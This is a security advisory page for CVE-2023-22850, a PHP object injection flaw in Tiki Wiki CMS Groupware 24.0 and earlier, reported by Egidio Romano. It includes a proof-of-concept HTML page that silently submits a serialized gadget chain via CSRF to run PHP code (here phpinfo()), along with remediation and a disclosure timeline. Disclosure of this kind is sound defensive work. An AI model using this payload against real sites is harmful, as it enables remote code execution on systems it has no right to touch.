Tiki Wiki CMS Groupware 24.0 grid.php PHP Object Injection Vulnerability

🗓️ 10 Jan 2023 00:00:00Reported by EgiXType

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Tiki Wiki CMS Groupware 24.0 grid.php PHP Object Injection Vulnerability in Tiki Wiki CMS Groupware version <= 24.0 allows attackers to inject arbitrary PHP objects and execute arbitrary PHP code via the TikiSheetSerializeHandler::_load() method, exploit can occur by tricking users into opening a web page

Reporter	Title	Published	Views	Family All 28
Circl	CVE-2023-22580	16 Feb 202318:12	–	circl
CNNVD	Tiki 代码问题漏洞	14 Jan 202300:00	–	cnnvd
CNNVD	Tiki Wiki CMS Groupware 信息泄露漏洞	10 Jan 202300:00	–	cnnvd
CVE	CVE-2023-22580	16 Feb 202314:11	–	cve
CVE	CVE-2023-22850	14 Jan 202300:00	–	cve
Cvelist	CVE-2023-22580 Sequalize - Bad query filtering leading to SQL errors	16 Feb 202314:11	–	cvelist
Cvelist	CVE-2023-22850	14 Jan 202300:00	–	cvelist
IBM Security Bulletins	Security Bulletin: IBM Cloud Pak for Security includes components with multiple known vulnerabilities	16 Jun 202315:19	–	ibm
EUVD	EUVD-2023-0664	3 Oct 202520:07	–	euvd
EUVD	EUVD-2023-26960	3 Oct 202520:07	–	euvd

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Tiki Wiki CMS Groupware <= 24.0 (grid.php) PHP Object Injection 
Vulnerability
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[-] Software Link:

https://tiki.org


[-] Affected Versions:

Version 24.0 and prior versions.


[-] Vulnerability Description:

The vulnerability is located in the /lib/sheet/grid.php script, 
specifically into the TikiSheetSerializeHandler::_load() method, which 
is using the unserialize() PHP function with user-controlled input. This 
can be exploited by malicious users to inject arbitrary PHP objects into 
the application scope, allowing them to perform a variety of attacks, 
such as executing arbitrary PHP code. Successful exploitation of this 
vulnerability requires the “Spreadsheets” feature to be enabled and an 
account with permissions to create a new sheet. However, due to the CSRF 
vulnerability described in KIS-2023-01, this vulnerability might also be 
exploited by tricking a victim user into opening a web page like the 
following:

<html>
  <form action="http://localhost/tiki/tiki-import_sheet.php?sheetId=1" 
method="POST" enctype="multipart/form-data">
   <input type="hidden" name="handler" value="TikiSheetSerializeHandler" 
/>
   <input type="file" name="file" id="fileinput"/>
  </form>
  <script>
   const popChain = 
'O:25:"Search_Elastic_Connection":1:{S:31:"\00Search_Elastic_Connection\00bulk";O:28:"Search_Elastic_BulkOperation":3:{S:35:"\00Search_Elastic_BulkOperation\00count";i:1;S:38:"\00Search_Elastic_BulkOperation\00callback";S:14:"call_user_func";S:36:"\00Search_Elastic_BulkOperation\00buffer";a:2:{i:0;O:22:"Tracker_Field_Computed":3:{S:32:"\00Tracker_Field_Abstract\00itemData";a:1:{S:6:"itemId";i:1;}S:31:"\00Tracker_Field_Abstract\00options";O:15:"Tracker_Options":1:{S:21:"\00Tracker_Options\00data";a:1:{S:7:"formula";S:14:"null;phpinfo()";}}S:41:"\00Tracker_Field_Abstract\00trackerDefinition";O:18:"Tracker_Definition":0:{}}i:1;S:12:"getFieldData";}}}';
   const fileInput = document.getElementById("fileinput");
   const dataTransfer = new DataTransfer();
   const file = new File([popChain], "test");
   dataTransfer.items.add(file);
   fileInput.files = dataTransfer.files;
   document.forms[0].submit();
  </script>
</html>


[-] Solution:

Upgrade to version 24.1 or later.


[-] Disclosure Timeline:

[07/03/2022] - Vendor notified
[23/08/2022] - Version 24.1 released
[09/01/2023] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2023-22850 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2023-03

10 Jan 2023 00:00Current

7.8High risk

Vulners AI Score7.8

CVSS 3.18.8

EPSS0.0127

SSVC